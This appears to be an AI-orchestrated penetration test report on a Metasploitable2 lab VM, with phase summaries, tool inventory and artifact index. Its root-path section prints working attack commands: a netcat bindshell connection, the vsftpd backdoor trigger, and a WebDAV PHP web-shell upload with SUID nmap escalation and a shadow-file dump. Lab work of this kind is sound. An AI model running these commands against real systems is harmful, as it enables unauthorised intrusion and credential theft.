Final Penetration Test Report

Engagement: my-metasploit-2026   Target: 192.168.122.225 (metasploitable.localdomain — Metasploitable2)   OS: Linux 2.6.x   Date: 2026-06-21   Phases Completed: Phase 1 Recon · Phase 2 Web · Phase 3 Binary · Phase 4 Network

Executive Summary

Target is Metasploitable2 — intentionally vulnerable Linux VM. Every phase yielded critical findings. Multiple independent root paths confirmed. Full system compromise achieved via 3 separate vectors without chaining. 25 vulnerabilities found: 11 critical, 6 high, 4 medium, 4 low/info.

Vulnerability Table

Confirmed Root Paths

Path A — Zero-exploit (fastest)

nc 192.168.122.225 1524
# Result: uid=0(root) — instant

Path B — vsftpd 2.3.4 CVE-2011-2523 backdoor

echo -e "USER test:)\nPASS test" | nc 192.168.122.225 21 &
sleep 2
echo "id" | nc 192.168.122.225 6200
# Result: uid=0(root)

Path C — WebDAV PUT + SUID nmap Lua privesc (HTTP only, stealthiest)

curl -X PUT http://192.168.122.225/dav/cmd.php \
  -d '<?php system($_GET["cmd"]); ?>'
curl "http://192.168.122.225/dav/cmd.php?cmd=id"
# www-data → nmap --script=exploit os.execute → euid=0(root)
# /etc/shadow dumped

Phase Summaries

Phase 1 — Recon

26 open ports. OS: Linux 2.6.x. Stack: Apache 2.2.8 / PHP 5.2.4 / Tomcat 5.5. No WAF. 5 critical backdoor services identified. VNC/PostgreSQL/FTP default creds confirmed by nuclei.

Phase 2 — Web (:80 + :8180)

4 critical web vulns: WebDAV PUT, Ghostcat AJP, LFI null-byte, Tomcat manager (tomcat:tomcat). Web apps: /mutillidae/, /phpMyAdmin/, /twiki/. Feroxbuster + nikto + nuclei ran full audit.

Phase 3 — Binary/Exploitation

3 confirmed root shells: bindshell :1524, vsftpd :6200, WebDAV+SUID. Tomcat WAR deployed (tomcat55 user). distccd confirmed daemon-level RCE. UnrealIRCd version-matched.

Phase 4 — Network

distccd CVE-2004-2687 RCE confirmed (uid=1(daemon)). NFS / exported to * — full filesystem mountable unauthenticated. Java RMI classloader confirmed. 35 users via SMB null session. SMB signing disabled.

AI & MCP Operations

Engagement Timeline

Total wall-clock: 1 hour 14 minutes. Parallel Phase 2+4 fork agents saved ~40 min vs sequential.

Model & Token Usage

Model: claude-sonnet-4-6 (orchestrator + all forks). MCP bridge: docker exec -i hexstrike-ai python3 /app/hexstrike_mcp.py --server http://localhost:8888

MCP Tool Inventory (149 Total)

Used: 10 (7%) | Standby: 64 (43%) | Idle: 50 (33%) | Bloated: 25 (17%)

USED — 10 Tools

STANDBY — 64 Tools

Pentest-relevant; not invoked because existing tools covered scope or phase depth didn't require them.

IDLE — 50 Tools

Not applicable to this network/web pentest profile. Binary RE, exploit dev, forensics, memory analysis, AI orchestration, process management.

BLOATED — 25 Tools

Out of scope for any external network/web pentest. Cloud compliance, IaC scanning, Kubernetes, container security, runtime monitoring. Recommend removing from pentest manifest.

Tool Summary

Artifact Index

workspace/reports/my-metasploit-2026/
├── engagement.md
├── final-report-v2.md + .pdf             ← this file
├── phase1-recon/
│   ├── nmap-full.txt
│   ├── nuclei-results.txt
│   └── phase1-summary.md
├── phase2-web/
│   ├── feroxbuster-80.txt
│   ├── feroxbuster-8180.txt
│   ├── nikto-80.txt
│   ├── nikto-8180.txt
│   ├── nuclei-web-vulns.txt
│   ├── nuclei-mutillidae.txt
│   ├── tomcat-manager.txt
│   ├── ajp-ghostcat.txt
│   ├── phpmyadmin.txt
│   └── phase2-summary.md
├── phase3-binary/
│   ├── bindshell-1524.txt
│   ├── webdav-webshell.txt
│   ├── distccd-rce.txt
│   ├── vsftpd-backdoor.txt
│   ├── tomcat-war-shell.txt
│   ├── unrealircd-backdoor.txt
│   ├── privesc-enum.txt
│   └── phase3-summary.md
└── phase4-network/
    ├── smbmap.txt
    ├── enum4linux.txt
    ├── nfs-enum.txt
    ├── distccd-vuln.txt
    ├── rmi-probe.txt
    ├── smtp-enum.txt
    ├── mysql-access.txt
    ├── rsh-test.txt
    └── phase4-summary.md